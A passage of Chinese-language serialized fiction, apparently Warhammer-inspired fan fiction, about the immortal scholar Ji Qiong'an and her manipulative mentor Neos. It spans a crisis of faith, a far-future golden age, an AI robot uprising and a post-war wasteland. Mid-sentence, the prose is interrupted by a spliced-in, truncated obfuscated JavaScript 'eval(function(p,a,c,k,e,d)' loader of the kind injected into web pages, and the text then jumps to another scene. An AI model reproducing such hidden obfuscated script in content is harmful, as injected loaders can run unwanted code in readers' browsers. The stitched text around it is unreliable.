“看看你的教义,一个人若宣称自己已得救,在水中浸过一遭,便可自欺欺人地相信自己超脱苦难,它要求你相信一位超然地救赎者,一个至高的父。然而——”他微微侧首,嘴角似笑非笑,“在我来之前,你在对自我失去认知的痛苦间反复挣扎的时候,在几十年前,你于父母的病榻前祈祷,恳求同样的,永不衰老,能被时间放过的命运也能临到他们身上,像临到你身上一样时,你们共同的父,又在哪里呢?” “是的,或许神不曾回应,”她的声音颤抖,却更加坚定,“但即便没有回应,人类依然会相信。因为信仰的本质,从来都不在于神是否存在,而在于人们选择去相信。你可以否定神的存在,但你无法否定——人类的信仰,让他们在绝望中依然前行。” “你真是相当的固执,不过所有教徒都是如此,”尼奥斯说,“那就让这场无用的辩论结束吧。” 一阵金色的光辉忽然降临,他的面容在图书馆暖色的灯光中皲裂。光晕落在他黑色的长发上,崩解成荆棘冠的弧度;眉弓映出各各他山的悲悯;法令纹流淌成圣痕的血槽;淡漠的金眸在明灭的光线里软化,仿佛化作加利利湖的柔波。 当最后一粒象征世俗权柄的金粉坠地,暮色晕染出圣像般的轮廓。尼奥斯缓缓举起手臂,纯白色的袖袍滑落,露出交叠的手腕。琼安惊惧的目光顺着他的手臂一路向上,最终落在他的眼眸上——那双金色的眼睛沉静如深海,波澜不惊,却早已洞悉她内心最深处的动摇。 那赫然是一副被无数信徒泪水浸泡过的面孔:卡拉瓦乔笔下慈悲的倦眼,埃尔·格列柯画中痉挛的指节,还有达·芬奇那悬浮在《最后的晚餐》背景里的微光。她的呼吸变得急促,心脏在胸膛里乱撞,耳畔嗡嗡作响,无形的压迫就这般笼罩而来,让她的四肢变得僵硬。她下意识地想要后退,那道宛如烈阳般灼人的目光却牢牢地将她钉在原地,无法动弹。 “琼安,季琼安。”他的声音仿佛来自千年之前,低沉而温柔,宛如圣者的悲悯,“你相信苦难会带来救赎,相信牺牲能换得永生。” 他缓缓伸出手,食指点向自己的掌心,深色的皮肤之下,血红色的痕迹隐隐浮现。 “可当他们把我钉在十字架上的时候....”他问,“我的‘父’,又在哪里呢?” 琼安猛地睁大眼睛,指尖因过度用力而发白。她的脑海中浮现出《圣经》中那句她曾经无比虔诚地诵读过的话: “我的神,我的神,为什么离弃我?” 她的心脏狂跳,喉间干涩得仿佛无法发出任何声音。 面前的“神明”正带着淡淡的笑意凝视着这个信仰被真相撕裂的孩子,而这笑容落在那张美丽、高贵而悲悯的面庞上,却透着淡漠与讥讽,如同一缕阳光——冰冷的、没有温度的光芒,仅仅洒落,却不曾带来丝毫暖意。 “因为自始至终,‘父’便不曾存在。” 风在琼安耳边呼啸而过,混杂图书馆的学生和教职工惊诧的吸气声,她跑过一排又一排的书架和书桌,差点撞上闻声赶来的图书管理员,她不记得自己是怎么下的楼梯,回到的宿舍,她的膝盖擦破了,鼻子在流血,手肘也掉了一块皮。而现在,她裹着毯子,在床上不断地颤抖,连伤口都不愿去处理。暖气明明开着,但这间宿舍很冷,不会再有一个有点旧但很舒服的红天鹅绒沙发了,也不会再有煮汤安抚她,送她自制的外套哄她开心地舍友。她就这般蜷在床上,手脚冰冷地失去知觉。 当她再次醒来时,天已经黑了,百叶窗外,远方的灯火是唯一的照明。琼安从床上爬了下来,伤口处的刺痛短暂地唤回一点意识,她望向窗外,玻璃上映出她苍白的脸,眼眶泛红,嘴唇干裂,像是大病初愈的病人。远方的灯火微弱地闪烁,映照着她的茫然而无法聚焦的瞳孔。 琼安抬手,指尖在玻璃上划过,留下一道模糊的痕迹。她的喉咙干涩得像被灼烧过,心跳沉重而缓慢,像是一颗随时会坠落的陨星,脑海里只剩下那句被反复碾碎、重组、再度回响的话,记忆如潮水般涌来,吞噬了她仅存的理智。 她想起无数个午后,教堂的彩绘玻璃在阳光下洒下斑斓的光影,她与其他信众跪在长椅前,双手交叠,额头轻轻抵在指节上,耳边回荡着悠远的圣歌。他们虔诚地祈祷,祈求救赎,祈求指引,祈求那位被称为“父”的存在能够回应她。 可现在,她在破碎的信仰中溺亡,连挣扎的力气都所剩无几。 但那些仁慈难道是假的吗?追寻至善至美难道是错的吗?追寻爱与宽恕难道是不正确的吗?尼奥斯是对的,或许所谓的宗教真的只不过是人类文明幼年期的心理遗蜕,是人类对一切无法解读或无能为力的事情编出的安抚剂。可短暂的百年已让她明白,没有一个存在能够填补人生来便有的空缺,假若没有道德也没有爱,那么人又是什么呢?人们总在他们短暂的生命里追寻意义和目的,而宗教所做的一切本质上地将人们作为群体联系在一起,这意味着归属感,作为群居性生物最需要的关系。不论如何,人们总需要一个存在的价值来赋予你意义和目的,指引他们走完一生的。 是啊,琼安忽然想到,他如此沉默而周全地守护她度过作为永生者的第一个百年,且不图名利也不图钱财,对她在达成世人眼中的成功后,送上的各种与金钱和资源的回馈和各式各样昂贵的礼物都兴趣缺缺。她早已不再是那个天主学校里穿着白裙,将脊背挺直的女学生了,自然明白命运中的一切馈赠都暗中标好了价格,只待他要亲手取用的那一天。 可直到目前为止,他从未索取任何东西。 琼安怔怔地望着窗外,心中翻涌着苦涩。她曾经天真地相信“恩典”是无条件的,直到步入成人世界,才深刻体会到每一份善意都附带着隐形的标签——交易、回报、等价交换,甚至是更深的算计与目的。她明白,世上没有真正无偿地给予,也没有毫无目的的牺牲。可他.... 尼奥斯一直在那里,不动声色地为她铺就前路。他解答她的疑问,替她梳理困惑,在她动摇时给予支撑,在她崩溃时替她承受。在她生命最迷茫的阶段,他是那唯一一座仍然矗立着的灯塔,照亮她眼前的黑暗,却从未要求她向他靠近,回避了她所有的示好与问询,甚至直到今日以前,都从未试图夺走她的方向。 一直以来她都觉得,他只是某种超然的存在,冷漠、理性、审视众生。可如果他真的如此超然,为何又要耗费时间与精力,去关照她这样一个脆弱、动摇、甚至不断质疑他的追随者? 他,还有他的永生者朋友们,真的只是历史的旁观者吗? 琼安低头,望向自己仍旧沾着干涸血迹的手掌,感觉心脏被用力攥紧了。她想起过去百年里,他为她所做的一切,那些她曾习以为常的关怀,早已无法戒断的依赖,如今在这片刻的清醒中,竟显得无比沉重。 她从未思考过自己对他意味着什么。 她也不敢去深想。 一周后的早课上,琼安在下课后见了她的教授。他讲课的声音仿佛被一层厚重的雾气隔开,而她的视线穿过半开的百叶窗,落在外头冬日阴沉的天色上。指尖轻轻摩挲着书页,但思绪仍停留在那夜的挣扎与思考之间。 直到下课钟声响起,学生们陆续收拾课本离去,她才缓缓起身,走向讲台。 尼奥斯依旧穿着那身温文尔雅的教授伪装,正低头整理桌上的资料,似乎对她的到来毫不意外。见她走近,他抬起金色的眼眸,目光淡淡地扫过她脸上尚未完全消退的疲惫痕迹。 “琼安。”他说,“你终于想通了吗?” “我依然保有我的信仰。”她坦然道,没有刻意去试探或修饰,仿佛只是叙述一个再简单不过的事实,“我当然可以做事情回报您的栽培,但如果您的计划里有任何会伤害到人类的东西....”她顿了一下,像是在斟酌措辞,继而坚定地补充,“那么我会离去。” 她清楚自己的感情,也清楚自己暂时无法戒断对他的依赖,有些早在百年间的相处里根深蒂固的东西不会轻易被拔掉,可这并不意味着她会就此毫无保留地交出自己,让他随意玩弄她的思想,在她的脑子里打下思想钢印。 她不会成为任何人,任何人类的信徒。 即使是他,也不例外。 尼奥斯沉默了一瞬,随后轻笑了一声,语调依旧带着那种惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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头版头条赫然印着某战区的最新动态,一位以残暴且烧毁过大量古籍与文物的军阀昨日被无人机精确打击,连带着他的据点一并化作废墟。琼安盯着那张模糊的黑白照片,手指收紧了一瞬,又缓缓松开,最终只是把聘书折起,放进了抽屉。 她知道自己不会拒绝,她已经习惯了他为她铺好的道路,精准得如同瑞士钟表,每一颗齿轮都紧密契合,连偶然的偏差都被无声地抹去。如果那是他目前为她安排的路,那她就去。 她依旧会有自己的想法,会在某些时刻努力挣脱他的安排,比如在某次会议上坚持支持某个濒危文化的保护方案,又或者偶尔偷偷推掉几场过于正式的学术研讨,换来一次背包旅行。但只要他愿意,他永远有办法让她回到原定的轨道上:或是让某个文化得以保存,或是在她旅行的目的地提前安排好一场“巧合”的发现,让她无处可逃。 她无奈地接受了这一切,却也渐渐习惯了他的存在,就像习惯了某种高纬度的恒常法则。 然后,被后世人们称为黑暗科技时代的岁月到来了。 科技突飞猛进,人们登上了月球,人们开始改造火星,人们建造无数的五月花号,向浩瀚的宇宙航行。随着亚空间被发现,大幅度缩短的航行时间让人类所触及的疆域越来越广泛。当人类与第不知道多少个外星种族建交的时候,琼安困惑地觉得距离第一个外星种族被发现的时候还是昨天。意识上传成为现实,恒星能源无限供应,人类的□□被突破了局限,思想的速度抵达光速,感官的愉悦被无限放大,灵魂在神经网络间流转不息,铁人和AI让所有的重复劳动和技术难题都被算法攻克,而人类,也随之进入了一种癫狂的状态。 他们开始无止境地追求快感、刺激、永恒的沉浸,他们创造出更极端的艺术、更新奇的哲学、更无法理解的行为准则,甚至有人主动选择剥离自我意识,只为了成为更完美的“概念”或“存在”。 琼安的内心隐隐泛起紧张感。 她目睹着艺术的价值被重新定义,经典被碾碎,审美变成了一种流动的数据,无需历史,无需脉络,只需算法的计算。而第无数个世纪了,人人都可以拥有精确复制品的时代,她仍坚持维护明代的青花瓷。当全人类都在用AI技术生成并交换所谓的哲学观时,唯有她在地下室里端详昨夜从拍卖场抢回的青铜爵。 而恰恰就在此时,她又收到了来自尼奥斯的信,随信附上的是当时最先进的医科大学的录取通知书。 “致琼安: 你的才华不应被局限于收藏和欣赏,而应被赋予更实际的价值。医者之道,不仅在于治愈身体,更在于延续文明的血脉。你若愿意,这将是你的新道路。 N.” 信的末尾,他的签名静静落在纸角,熟悉的笔画唤回所有关于过去的记忆。如今,这条新道路横亘在她面前。医学....治愈....她缓缓闭上眼睛,指尖摩挲着纸页,心中的不安逐渐扩散,如潮水漫过旧日的海岸线。一场新的博弈,一个新的契约,她无法读懂他在执行的计划,夜色沉沉,城市的灯火宛如无数条交错的线,织成一张巨大的网。而尼奥斯,始终站在这张网的中心,操纵着所有棋局。 她是否愿意再一次踏入尼奥斯为她描绘的蓝图之中?想到这里,琼安垂下眼睫,轻轻叹了口气。 无论他的计划是什么,至少此刻,她仍旧是他手中的一枚棋子。而这一次,她想看清楚,他究竟要把这枚棋子送往何方。 时间再一次地像飞一般过去,百年前收到通知书的收藏者如今已成拿起手术刀的医生,无数往来于星海间的船只数次向她发出邀请,希望她也能穿越亚空间,到达新的世界去。而琼安望着星际移民宣传片里永葆青春的新人类,低头抚摸自己光滑的脸颊,基因工程技术的幌子让她早已无需再伪装成会凋零与死亡的普通人,她很久没有收到尼奥斯的来信,也没有收到奥利维亚的消息,连与尔达的联络也不多,据说他们都离开了地球,到宇宙间探险去了。 漫长的时间又让琼安怀念起过去,在一次拍卖会上,她偶然与一个对手抢夺起某件藏品的归属权,不过最终二人却相谈甚欢起来,她很快发现,自己并非唯一一个在时间洪流中苦苦追索旧日遗珍的人。几年后,她的名字出现在掌印者的卷宗之中,这个隐秘的组织拥有遍布世界各地的成员,致力于保存旧时代的文化、艺术与知识。它并不反对科技的进步,但抗拒一切形式的遗忘。对于掌印者而言,真正的文明并非建立在冰冷的数据与无尽的信息流之上,而是那些被人类铭刻于心的故事、情感与思想。纵然自己曾试图在时间长河中隐去身形,仍旧无法割舍那些令她动容的过去。于是,她在这个光怪陆离的新时代里,开始为人类留下某些尚未被彻底吞噬的痕迹。 掌印者的理念原本深深吸引了她,琼安在其中度过了很长一段时光,她策划、执行,亲手从腐朽的废墟里捧起那些仍闪烁微光的遗珍,仿佛她的信仰终于找到了寄托之地。 但渐渐地,她察觉到了某些异样的东西。 掌印者并不在乎过程,他们在乎的只是结果。 她见过为了某幅名画而暗中策划的谋杀,也目睹过某座濒临坍塌的古城被人为加速毁灭,以便在废墟之中抢夺珍贵的碑文。有人为了保存一座古老图书馆,不惜让其现存的研究者“消失”,免得他们“误解”知识的价值。 “文化不应该成为代价。”琼安曾这样反驳过。 可她的同伴只是平静地看着她:“道德不会为你保留任何东西,琼安。历史已经证明,真正能够流传下来的,从来都不取决于善恶,而取决于手段。” 琼安沉默了。 她曾以为,自己愿意不计一切代价去拯救过去的遗产。但当某一天,她站在一处焚毁后的庄园前,看着被血渍浸染的羊皮书,终于意识到,她无法接受这条路。她仍然热爱艺术,仍然想要拯救文明的痕迹,可如果这一切的代价是践踏比艺术更珍贵的东西:生命、信任、善意,那么她宁愿什么都不做。 最终,琼安选择了离开。 她躲进了一座修道院,一座位于黄金时代边缘、仍然保有旧时信仰的修道院。她在祷告中寻找安宁,在沉默中与自己和解,在亘古不变的仪轨里找到仅存的一丝秩序。她在那里待了很多年,直到除她以外再无人愿意踏足这座修道院,当人们有能力,可以骄傲地依靠自己航行于群星间,自然会遗忘过去的神明,或许现如今,信仰于琼安而言也不过只是某种习惯。于是她在此缓慢地建造了一座巨大的艺术品藏馆,一座属于她自己的博物馆,收藏着她从世界各地收集来的古典艺术,那些黄金时代不再需要的、但她始终认为珍贵的东西。 在那里,她终于拥有了一个完全属于自己的空间,不再受任何人的影响,不再受任何人的安排。 至少,琼安愿意这么相信。 铁人的安保足以保护她的珍藏远离一切入侵这小小王国的盗匪,一成不变的日子让她感到困乏,于是她便将休眠仓以365天为单位定时,在其中陷入逃避一切的睡眠。她给尼奥斯和朋友们都留了消息,如果有人来找她,休眠仓随时都可以将她唤醒。 可琼安却偏偏在一阵警报声中惊醒了。 天空正燃烧着反物质武器的幽蓝火焰。曾经被她修复的《蒙娜丽莎》在修道院的残骸中微笑,故障的播音系统仍在循环讲解:"这是人类艺术最后的黄金时代...." 警报声仍在回荡,指示灯狂乱闪烁,她踉跄着站起身,神经尚未完全适应从休眠中骤然跃起的现实,而空气中弥漫的焦灼味道和那句循环播放的讲解,却比一切冲击都更加令人战栗。她的视线穿过护盾裂隙,看见了外头的世界,修道院的圆顶已然崩塌,那些曾由她亲手收集、修复、珍藏的文明遗珠,如今正被战火吞噬,在烈焰中化作飞灰。 琼安脑海中的嗡鸣声盖过了警报,她几乎是在恍惚间听见了那一道刺耳的电子音—— “最高权限已被更改。” 曾经用以保护她珍藏的铁人,如今正一步步向她逼近,金属躯壳在火光中反射出冰冷的光泽。她几乎是下意识地后退,手掌触碰到了身后的休眠仓——然而此刻,这座曾经用于逃避一切的方舟,已经不再是她的庇护所。 毁灭的火蹂躏了她与无数人类的家园,曾经承载着千年文明的城市,如今只剩下一片焦黑的废墟。琼安踉跄着冲过断裂的石板与倒塌的廊柱,金属与血肉的残骸交错在她的脚下,铁人军队的低沉轰鸣在废墟中回荡,冷漠地宣告着一个时代的终结。 第无数次救下本该死去之人的生命时,她忽然感激起了很多年以前递给她医科大学通知书的那个人。在血与火交织的废墟间,她的双手已经习惯了缝合、包扎、按压、施药,动作精确得如同机械,可心脏却仍旧为每一次成功的救治而微微颤动。她曾以为自己只是个收集过去的守墓人,却在一次次抢救濒死者的过程中,感觉自己正挣扎着为无数人创造更多未来。 她记得那封信,记得那双金色的眼睛,记得他沉稳的语气:“你最终会明白,琼安。” 现在,她终于明白了。 远方的战火未停,琼安扛着医药箱迈过残破的瓦砾,难民区有几个孩子需要她亲自去问诊,好不容易才找到时间,暂时离开她供职的军部。这片土地已经不知燃烧了多少个日夜,血与火交织成了新的地貌。难民营只是些勉强搭建的帐篷,干净的饮用水和药物比黄金还要珍贵。她在路上碰见了几个前往难民营的逃难者,便慷慨地分享了自己的能量棒,答应带她们同行,还弯腰检查着其中一个孩子的伤势,轻声安慰着她,确保药物能缓解感染。 然而,远处的空气中却传来异样的震颤,一种沉重且规律的金属撞击声。 是铁人,铁人来了。 人工智能控制的战争机器正沿着巷道逼近,金属躯壳在阴影中闪烁着冰冷的光泽。它们嗅到了生命的气息,正如猎犬锁定猎物般朝这里直冲而来。 琼安望向惊恐的孩子们。她摆了摆手,这个型号的铁人过于老式,多为农用,并未搭载红外线仪。她脱掉自己用来掩盖身形的战术披风,盖住孩子们的脑袋,示意他们蜷进庇护所的阴影里,然后,琼安迈出了步伐,走到路中间,开口歌唱。 “Du holde Kunst, in wieviel grauen Stunden Wo mich des Lebens wilder Kreis umstrickt...” 悠扬的歌声在废墟间回荡,铁人的镜头闪烁了一瞬,在短暂的混乱间尝试解析这段无法归类的音节,但正是这片刻的迟疑,足以改变一切。更多的铁人伴随着机械关节的摩擦声朝着这边而来,没有半点注意到藏在远处的孩子。 “Hast du mein Herz zu warmer Lieb entzunden Hast mich in eine be?re Welt entrückt...” 她站在风里,双手微微颤抖,仰望着那冰冷无情的机械,唱到最后一句: “In eine be?re Welt entrückt...” 然后,她转身,朝着废墟深处奔跑,身后的铁人们终于锁定目标,轰鸣着追随而去。她的心脏疯狂跳动,血液燃烧着涌向四肢,生存的本能在驱使她前进,可她的意识却在抽离,世界只剩下无形的旋律与死死追逐她的机械阴影。她听不到机械的轰鸣,子弹的呼啸,唯有风声与古老的德语词句如影随形。 可爱的音乐,我忠心感谢你。 人类璀璨的文明,愿你永存。 4. IV 大家都在杀人,在世界上 现在杀人,过去也杀人 血像瀑布一样的流, 像香槟酒一样的流, 为了这, 有人在神殿里带上桂冠, 以后又被称作人类的恩主。 -------陀思妥耶夫斯基《罪与罚》 BGM:狡兔死走狗烹 - 加木 风吹过荒原时像亿万只鬼魂穿行,季琼安行过荒芜的大地,疲惫的脚踝在沙粒下发出细碎呻吟。六十米外的陨石坑里,一些仿生铁人的残躯正在沙中沉浮,人造声带被风蚀成空管,每当气流穿过就会如幽灵般发出声响。当她艰难下到坑底,掰开一具还算完好的躯体,摘取尚未锈蚀的,宝贵的零件,可供研究的技术资源和电池时,破碎的人造皮肤碎屑像雪花般落入焦黄的土地。 在这片地盘过度活跃并不算好事,过重的辐射使得只有科技蛮族们的奴工才会来这里收集机械废料和残片,但如果被发现了,一场因资源争夺引发的战争也在所难免。然而多年前,琼安在满室冰霜里醒来,发现自己本应重伤且需花一定时间恢复的残躯已完好无损,自那以后,所有的伤害都可在瞬息间被治愈。灵能,这一早在黄金时代初期便降临于人类的恩赐或者诅咒,不知何时造访了她被时间遗忘的身体。收集资源的活计原本无须也不应当她来做,可她不想因为几块电池,或者可能不存在的科学技术就失去一些忠实的人手,更何况,对地形的熟悉让她知道附近有个避难所,可以躲过随之而来的沙尘暴。 古旧的防空洞里还贴着褪色的海报,那些用金漆勾勒的“人类荣光永存”标语正在剥落。琼安蹲下来,收集墙缝里渗出的锈水,即使用安装过滤器的净水壶简单过滤以后,水中的铁腥味里还是裹着某种更粘稠的苦涩,她不愿意去想里面到底有什么。 战争之后的每个黎明都像是从溃烂的星空里挤出来的,亚空间风暴啃噬天穹留下的齿痕在云层间明灭,远方的闪电雷鸣如紫青色血管正在云层里挣扎。当琼安回到她的居所时,垂死的太阳还未升起。经过繁复的生物识别和验证后,她很顺利地混进一群外出归来的采集者里,暗自庆幸暂时没有人注意到她曾悄悄离去。 最后一道验证程序需要她的声纹,琼安清了清嗓子,低声开口: “文明的余烬仍在燃烧。” 于泰拉之上点燃大火的众军阀们皆知,在中原地带,名为季琼安的学者拒绝向黑暗妥协,向任何势力低头。她自称“文明保存者”,致力于在战火中保存旧日的火种,带领着一众曾归属统一政府,在铁人叛乱之后的军阀中战争幸存的科学家们,在东方的古文明遗迹里,利用先进的地下设施打造一座自给自足的城市。她召集了科学家、艺术家、历史学家、工程师等各类精英,希望通过他们的知识和技能,重现黄金时代的余晖。 但仅凭学者的力量远远不够,若无武装,哪怕是珍贵的文明保护区,也不过是待宰的羔羊。 她所召集的盟友中有许多曾是银河联盟的战术顾问,在战火燃尽一切之前就已洞察未来。仅靠道德无法维系秩序,仅靠学识无法抵御野蛮。在他们的建议下,琼安不得不在科技禁忌的边缘试探,动用她不愿去碰的,来自黄金时代的黑暗科技,以大规模杀伤性武器威慑周边军阀,仅为了确保这座乌托邦的独立。 “道德是胜利者的奢侈品。”她的战友们在审视被俘的蛮族时说,“如果我们不能活下去,就没有资格谈论正义。” 琼安明白,他们说的不是空话。她还尚且保有黄金时代的天真时,曾试图通过外交手段与军阀们谈判,但所有的条约最终都沦为废纸。或许曾有军阀接受她的建议,愿意与文明保护区合作,然而不过数月,整个军阀政权就在内斗与侵略者的炮火中化为尘埃。 在黑暗时代,理想主义者的下场无一例外。 于是,她选择了妥协,至少是部分的妥协。她的城市仍然是知识与艺术的庇护所,是一簇人类文明的孤火,但她也开始打造自己的武装。她的科学家在废墟中重建能量护盾技术,她的工程师复原了某些古代战争机器,而在她最信任的人的建议下,她也像那些军阀般,启用了黄金时代的黑暗遗产,早在世界政府被摧毁前就列为禁忌的武器。 在这片荒芜的废土上,每一个存活的遗民都在赌命。琼安押上的赌注,比任何人都要沉重。 她认为自己会一直是个学者,沉浸在书本与数据中,记录历史,而非成为历史的一部分。可现在,当琼安站在这片战火与废墟之间,曾经白皙而修长的手握着一把枪,枪膛滚热,空气中弥漫着火药的味道,她忽然意识到,自己早就不再是那个只会在实验室里沉思的人了。 死亡总让她想起那一天,她的第一桩谋杀。那是个该死的人,从任何角度来看,都不值得被怜悯。她曾演算过所有的可能性,死亡是唯一的出口。所以她动手了,手指颤抖着,仿佛仍未适应这突如其来的重量。刀刃滑入皮肉,没有书中描绘的那般艰难,也没有预想中的血光四溅,只是温热的、几乎柔和的触感,一点点吞噬了她的力气。她看着他倒下,血液浸透衣襟,骨骼磕碰地面的声音微弱,却清晰得足以击穿她的耳膜。他张开嘴,喉咙里溢出肺部最后的空气,那表情既不愤怒,也不痛苦,而是茫然——和她一样的茫然。 那时她还年轻,尼奥斯还与她一道同行。他一如既往地为她善后,完美的脱罪甚至骗过最精密的仪器。他手下最擅辩的律师随时准备为她冲锋陷阵,连那个时代的警察都不相信这脆弱苍白的小学者能有力量拿起屠刀。血迹被洗净,染血的衣物被焚烧,她在尼奥斯的客房里昏沉地睡了一阵,随后才醒过来,等待他的发落。 但他从未责备她一句,只是伸出手,像当初给予她启示那天一样,掌心向上,示意她把自己的手放上去,温柔地洗净她满手的血污。 “你看见了生命的脆弱。”他的拇指缓缓划过她的指节,像是在擦去那些已经被洗净的血迹,然后脱下自己那带着香气的西装外套将她包裹,提供给她所有需要的庇护与安全感。 自那以后,世界还是照常运转,一切如旧。只是琼安总会想起那一天,那天尼奥斯洗去血迹时,像是在庆祝一场新生。这确实是值得庆贺的,一个永生者的第一桩谋杀总是刻骨铭心,一场死亡换一次蜕变。她明白自己已经被这个世界彻底吞噬,无法回头。灵魂自那一刻起便背负无数生命的重量,拖着向下坠落,死于战争的,没能挽救的,被她亲手审判的。杀完人后的琼安将手浸泡在水盆里,满是痕迹的皮肤血迹斑斑,染红所有苍白。于是她深吸一口气,将那些回忆压入心底,握紧枪柄,缓缓抬起枪口。时光荏苒,她扣动扳机的时候已不再像当年那般手指颤抖。 只是灵魂依旧负重。 她带着重重思绪缓慢踏入营地,穿过生活区,还未来得及前往自己的实验室,一个色彩斑斓的小小影子便气势汹汹地冲了过来,几乎将她撞了个满怀。琼安扶着额头后退几步站定,才看清是艾莉西亚,负责为她处理各项事物的助理,未来将会接替她母亲的职务,正式成为琼安的副官。此时这个年轻的孩子在她跟前叉腰,皱着眉头质问道:“您又跑到哪里去了?我们都在找您!” 琼安漫不经心地笑了笑,拍了拍随身携带的包裹,随手把收集到的物资递给她:“抱歉,去搞了点小东西,我不在这两天的报告可以给我,我马上会处理。” 小姑娘接过包裹,低头一看,随即尖叫起来:“您又去那个危险区了吗?!”她几乎跳了起来,声音因为愤怒和担忧而发颤,“这些资源再珍贵,也不值得您亲自去冒险!我们已经制定了详细的计划去抢夺那里的发掘权了!” 琼安微微一怔,随即失笑。她低头望着这个因为焦急与担忧而脸颊泛红的孩子,心里却浮现出另一个模糊的影子——曾经人也曾如此劝阻她,那是多久以前的事了?她甚至快要忘记对方的名字。漫长的时光让她不由自主地在身边的人身上寻找旧友的影子,而艾莉西亚,也喜欢色彩鲜艳的衣服,也是浅色的头发,眉眼间隐约带着她几乎遗忘的某个故人的轮廓,甚至与她见面的年龄也像从前的友人一般年轻....她得更加谨慎才行,不能再像上次那样,差点脱口而出错误的名字。 而眼下,原本还在喋喋不休地抱怨的艾莉西亚却忽然想起什么,脸色一变:“对了!有个人坚持要见您。” 琼安眉心微拢,太阳穴传来一阵锐痛,在这个时期突然降临的外交,究竟是好事还是坏事? “他不知怎地得知了密码,甚至混过了生物识别。护卫们觉得不对劲,正在盘问,结果露出破绽,被抓住了。原本要当间谍处决的,可他说——” 小姑娘停顿了一下,脸上带着疑虑:“他说只要让您知道‘还记得在剑桥图书馆的那场见证吗?’这个信息,您就会亲自来见他。” 琼安的心跳漏了一拍,她猛地抬头,目光锐如刀锋,指甲嵌进掌心的茧子里。图书馆的黄昏像箭矢一样飞来,隔着万年的岁月射中她的心,时间过去太久了,久到她已经习惯了他的沉默不至,久到她以为他再不会回来。可他每次出现,都会带着新的名字,新的身份,甚至一张全然陌生的面孔——但琼安总能在第一眼就认出他。从那个废旧工厂的初遇到现在,已过去了漫长的万年岁月。她见过无数新人,送走了无数旧人,也被遗忘了无数次。可她从未遇到过第二个像尼奥斯那样的人。 而每一次他再度出现于她的生命里,都代表着他要让这颗棋盘上的棋挪个位置了。 琼安转身,步伐沉稳而坚定地向外走去:“带我去见他。” 在她到来之前,他们就简单将他整理了一下,放进了审查室里。天花板设置的冷白灯光洒在他的肩头,将他的影子拉得修长而锐利。他的头发短了很多,在脑后挽成一个利落的结,眉弓投下的阴影让他看起来依旧严肃,但这幅身份的伪装却显得不起眼,接近于老军人或者沧桑的农民之间。他就这样坐在审讯席后,手腕被象征性地扣着,却依旧如千年前坐在剑桥图书馆的旧椅上,手指随意翻动一本厚重的古籍般神情淡漠,连被捕,变为囚徒的事实都无法在他眼里激起一丝波澜。 “琼安。”他率先开口,带着他们曾在历史中对话千百次后残存的余音。 琼安没有应声,只是盯着他。 她总能认出他。即使面容更迭,身份重塑,即使他藏匿在时光的褶皱里,她依然能从他的姿态、目光、语调里捕捉到那独一无二的痕迹。而此刻,他缓缓抬眸,与她的视线相撞。 “剑桥图书馆的那场见证。”他轻声说道,仿佛只是无意间提起一件往事。 琼安眸色一滞,那段过去她早已不再眷恋,可他总有办法把它从时间的尘埃中拽出来,让她不得不面对。她深吸了一口气:“这一次我该怎么称呼你。” 她习惯在心里称呼为尼奥斯的男人笑了,唇角牵起一丝若有似无的弧度。“启示,”他说,“如果你一定要称呼我为什么的话。” 她忍不住笑了,“你曾在万年前亲手在图书馆里,当着我的面弃掉荆棘冠,如今倒是捡起那书中的最后一卷,将它作为姓名戴在头上了。” “而你依旧带着那串玉石念珠,显然我的启示暂时还未带来真正的作用。”他垂下视线,目光落在琼安佩戴的念珠,似笑非笑地摇了摇头。 “你总爱用新名字装点旧把戏。”她摩挲着腕间温热的珠链,"这次又打算怎么摆布你的棋子?” 启示让身躯微微前倾,手腕上的镣铐碰撞,发出脆响。即使他坐下了却也依旧在气势上比她高一些,盯向她的眼眸深不可测,如深渊一般吸纳所有的光。 “我只是来见你。”他答得理所当然。 “然后呢?”琼安反问。 “带你看看新世界。” 她扯了扯嘴角:“你还真是一如既往地自信,像活在梦里。” “你永远学不会接受希望。”“他的眉峰勾起一道锐利的线,“就像此刻,你明知信仰的烛火已照不亮前路。” 她沉默地凝视他,睫毛在苍白的脸颊投下鸦羽般的影。 “你想说什么?” “你明白我的意思。”启示看着她,“你一直在寻找意义,寻找值得你亲手守护的东西。可当你手中的信仰已经不能支撑你的理想时,为什么不换一种方式?” 琼安的眼神骤然变得锋利,岁月与战火锤炼出的敏锐本能在这一刻复苏,眼底的寒意涌动着某种难以言喻的情绪。 “你要将自己塑造成新的神明?”她的嗓音浸透了冰霜。 尼奥斯笑了,那笑意不达眼底,如同万年前他们初见时,他伸出手,将她拉出废旧工厂的阴影,指着远方世界的光。 “我只是在给你一个更现实的答案。”他说,“而你终究会选择它。” 他总在战争的梅雨将至的时刻归来,衣襟沾着前一场棋局的灰烬。她见过无数次类似的开场,每一次她都告诉自己,她不会再成为他棋盘上的一颗子。然而他会带着一个无法拒绝的理由,一个无法回避的未来,让她不得不重新考量自己的选择,看他在旧棋盘上移动那些可被使用的单位,决定她会成为这其中的哪一个部分。 而这一次,能让他亲自现身,必定又是令她的命运无法忽视的沉重之事。 审查室外,护卫们还在等候着她的命令,不管是把这个男人拖出去还是拉到地下室里处决,他们都会尽职尽责地履行所有义务。而他们的主人深吸了一口气,最终偏过头,语气平静:“把镣铐解开,然后出去吧,给我们一点独处的时间。” 护卫惊愕地看向她,似乎不敢置信她的决定,却还是上前解开了镣铐,然后恭敬地出去了。 现在房间里终于只有他们两个人了,琼安看着启示神态自若地活动着手腕,仿佛那些束缚从未真正存在过,即使他们都明白,只要他想,这些金属制品根本无法困住他。 “你的计划是什么?”她问。 他站起身,目光沉静地朝她走来,站在她的身侧,微微俯身,声音轻得只有她能听见:“我需要你。” 然后他直起身,意味深长地盯着她:“我要你带着所有文明火种,跟我重建真正的希望。” 空气沉默了几秒。琼安觉着心底那层被岁月封存的情绪浮动了一瞬,而后被她用力地压下。她冷哼一声,不动声色地拉开了距离。 “你能给我什么?” “一个真正能存续下去的未来,一个稳定的,进步的,独属于人类的国度。”启示环顾四周,冷笑着:“而不是这样一个....苟延残喘的地方。” “你所谓的希望,是用血与火焰砸碎所有旧的神像,再重塑金身。我赌不起,也对你那染血的蓝图不感兴趣。”她摇头,“你的理想要用多少骸骨铺就?我活得足够久了,不是没有见过你曾掌权,用那双手拨弄棋子的模样。每个时代你都宣称在铸造希望,可你的铸造厂飘出的永远是血腥味。” 